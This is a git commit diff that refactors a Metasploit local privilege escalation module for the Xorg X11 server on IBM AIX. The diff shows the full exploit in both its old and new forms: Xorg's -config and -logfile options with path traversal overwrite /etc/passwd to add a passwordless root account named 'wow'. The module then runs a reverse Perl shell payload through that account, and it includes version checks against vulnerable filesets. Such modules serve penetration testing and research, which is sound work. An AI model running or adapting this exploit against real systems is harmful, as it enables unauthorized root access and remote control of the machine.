refactor version check, reduce verbosity

This commit is contained in:
Zack Flack 2019-02-11 23:50:09 +08:00
parent 92063560eb
commit 5fde493add
1 changed files with 69 additions and 77 deletions

View File

@ -4,16 +4,14 @@
## ##
class MetasploitModule < Msf::Exploit::Local class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking Rank = GreatRanking
include Msf::Post::File include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Exploit::FileDropper include Msf::Exploit::FileDropper
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Xorg X11 Server Local Privilege Escalation', 'Name' => 'Xorg X11 Server Local Privilege Escalation',
# TODO: Finish description
'Description' => %q( 'Description' => %q(
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
@ -22,8 +20,8 @@ class MetasploitModule < Msf::Exploit::Local
the ability to elevate privileges and run arbitrary code under root the ability to elevate privileges and run arbitrary code under root
privileges. privileges.
This module has been tested with AIX 7.1, however it should also work with 6.1 and 7.2. This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
Due to permission restrictions, this module does not use cron to launch the payload, Due to permission restrictions of the crontab in AIX, this module does not use cron,
and instead overwrites /etc/passwd in order to create a new user with root privileges. and instead overwrites /etc/passwd in order to create a new user with root privileges.
All currently logged in users need to be included when /etc/passwd is overwritten, All currently logged in users need to be included when /etc/passwd is overwritten,
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
@ -33,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Local
), ),
'Author' => [ 'Author' => [
'Narendra Shinde', # Discovery and original FreeBSD exploit 'Narendra Shinde', # Discovery and original FreeBSD exploit
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module 'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 25 2018', 'DisclosureDate' => 'Oct 25 2018',
@ -48,13 +46,13 @@ class MetasploitModule < Msf::Exploit::Local
'Arch' => [ ARCH_CMD ], 'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'shell' ], 'SessionTypes' => [ 'shell' ],
'Payload' => { 'Payload' => {
'Compat' => { 'Compat' => {
'PayloadType' => 'cmd', 'PayloadType' => 'cmd',
'RequiredCmd' => 'perl', 'RequiredCmd' => 'perl',
} }
}, },
'DefaultOptions' => { 'DefaultOptions' => {
'Payload' => 'cmd/unix/reverse_perl' 'Payload' => 'cmd/unix/reverse_perl'
}, },
'Targets' => [ 'Targets' => [
['IBM AIX Version 6.1', {}], ['IBM AIX Version 6.1', {}],
@ -72,24 +70,19 @@ class MetasploitModule < Msf::Exploit::Local
end end
def check def check
print_status('Running checks')
xorg_path = cmd_exec('command -v Xorg') xorg_path = cmd_exec('command -v Xorg')
unless xorg_path.include?('Xorg') unless xorg_path.include?('Xorg')
print_error('Could not find Xorg executable') print_error('Could not find Xorg executable')
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
print_good("Xorg found at #{xorg_path}")
ksh93_path = cmd_exec('command -v ksh93') ksh93_path = cmd_exec('command -v ksh93')
unless ksh93_path.include?('ksh') unless ksh93_path.include?('ksh')
print_error('Could not find Ksh93 executable') print_error('Could not find Ksh93 executable')
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
print_good("Ksh93 found at #{ksh93_path}")
fileset_version_vulnerable = determine_version() unless xorg_vulnerable?
unless fileset_version_vulnerable
print_error('Xorg version is not vulnerable') print_error('Xorg version is not vulnerable')
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
@ -98,80 +91,83 @@ class MetasploitModule < Msf::Exploit::Local
end end
def exploit def exploit
check_status = check status = check
if check_status == Exploit::CheckCode::Safe if status == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Target not vulnerable') fail_with(Failure::NotVulnerable, '')
end
unless writable?(datastore['WritableDir'])
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
end end
xorg_path = cmd_exec('command -v Xorg') xorg_path = cmd_exec('command -v Xorg')
ksh93_path = cmd_exec('command -v ksh93') ksh93_path = cmd_exec('command -v ksh93')
print_status('Opening /etc/passwd') xorg_payload = generate_xorg_payload(xorg_path, ksh93_path)
passwd_array = read_file('/etc/passwd') xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
passwd_array = passwd_array.split("\n") upload_and_chmodx(xorg_script_path, xorg_payload)
print_status('Retrieving currently logged in users') passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq') print_status("Backing up /etc/passwd to #{passwd_backup}")
users << "\n" cmd_exec("cp /etc/passwd #{passwd_backup}")
users = users.split("\n") register_file_for_cleanup("#{passwd_backup}")
print_status('Generating Xorg command')
unless users.empty?
users_logged_in_passwd = ''
users.each do |user|
user << ':'
passwd_array.each do |line|
if line.index(user) == 0
users_logged_in_passwd << '\n'
users_logged_in_passwd << line
end
end
end
end
# TODO: Systems where there has to be a password?? generate static password?
blob = "-config $\'#{users_logged_in_passwd}\\nwow::0:0::/:/usr/bin/ksh\\n#\'"
script_path = "#{datastore['WritableDir']}/wow.ksh"
# TODO: Has to be better way of doing a relative path for /etc/passwd?
xorg_payload = %Q^#!#{ksh93_path}
#{xorg_path} #{blob} -logfile ../../../../../../../../../etc/passwd :1 > /dev/null 2>&1
^
upload_and_chmodx(script_path, xorg_payload)
print_status("Backing up /etc/passwd to #{datastore['WritableDir']}/passwd.backup")
cmd_exec("cp /etc/passwd #{datastore['WritableDir']}/passwd.backup")
register_file_for_cleanup("#{datastore['WritableDir']}/passwd.backup")
print_status('Executing /tmp/wow.ksh')
cmd_exec("#{script_path}");
print_status("Executing #{xorg_script_path}")
cmd_exec("#{xorg_script_path}");
print_status('Checking if we are root') print_status('Checking if we are root')
if is_root?
root_payload = %Q^#!#{ksh93_path} if is_root?
shell_payload = %Q^#!#{ksh93_path}
#{payload.encoded} #{payload.encoded}
^ ^
payload_path = "#{datastore['WritableDir']}/wowee.ksh" shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
upload_and_chmodx(payload_path, root_payload) upload_and_chmodx(shell_script_path, shell_payload)
# TODO: Maybe add support for non perl payloads? print_status('Executing shell payload')
print_status('Executing payload...') cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
cmd_exec("#{ksh93_path} -c \"echo #{payload_path} | su - wow &\"")
print_status('Cleaning up /etc/passwd. Add user for persistance') print_status('Restoring original /etc/passwd')
cmd_exec("su - wow -c \"cp /tmp/passwd.backup /etc/passwd\"") cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
else else
fail_with(Failure::PayloadFailed, '') fail_with(Failure::PayloadFailed, '')
end end
end end
def determine_version() def generate_xorg_payload(xorg_path, ksh93_path)
xorg_version = cmd_exec("lslpp -L | grep -i X11.base.rte | awk '{ print $2 }'") passwd_file = read_file('/etc/passwd')
print_status("Xorg version is #{xorg_version}") passwd_array = passwd_file.split("\n")
xorg_semantic = Gem::Version.new(xorg_version)
print_status('Retrieving currently logged in users')
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
users << "\n"
users_array = users.split("\n")
logged_in_users = ''
unless users_array.empty?
users_array.each do |user|
user << ':'
passwd_array.each do |line|
if line.index(user) == 0
logged_in_users << '\n'
logged_in_users << line
end
end
end
end
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
# TODO: Has to be better way of doing a relative path for /etc/passwd?
return %Q^#!#{ksh93_path}
#{xorg_path} -config #{passwd_data} -logfile ../../../../../../../../../../../../etc/passwd :1 > /dev/null 2>&1
^
end
def xorg_vulnerable?
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
print_status("Xorg version is #{version}")
semantic_version = Gem::Version.new(version)
vulnerable_versions = [ vulnerable_versions = [
['6.1.9.0', '6.1.9.100'], ['6.1.9.0', '6.1.9.100'],
@ -184,8 +180,8 @@ class MetasploitModule < Msf::Exploit::Local
] ]
for version_pair in vulnerable_versions do for version_pair in vulnerable_versions do
if xorg_semantic >= Gem::Version.new(version_pair[0]) && if semantic_version >= Gem::Version.new(version_pair[0]) &&
xorg_semantic <= Gem::Version.new(version_pair[1]) semantic_version <= Gem::Version.new(version_pair[1])
return true return true
end end
end end
@ -194,13 +190,9 @@ class MetasploitModule < Msf::Exploit::Local
end end
def is_root? def is_root?
id_output = cmd_exec('su wow -c "id"') id_output = cmd_exec('su - wow -c "id"')
if id_output.include?("euid=0") if id_output.include?('euid=0') || id_output.include?('uid=0')
print_good('Got root!')
return true
end
if id_output.include?('uid=0')
print_good('Got root!') print_good('Got root!')
return true return true
end end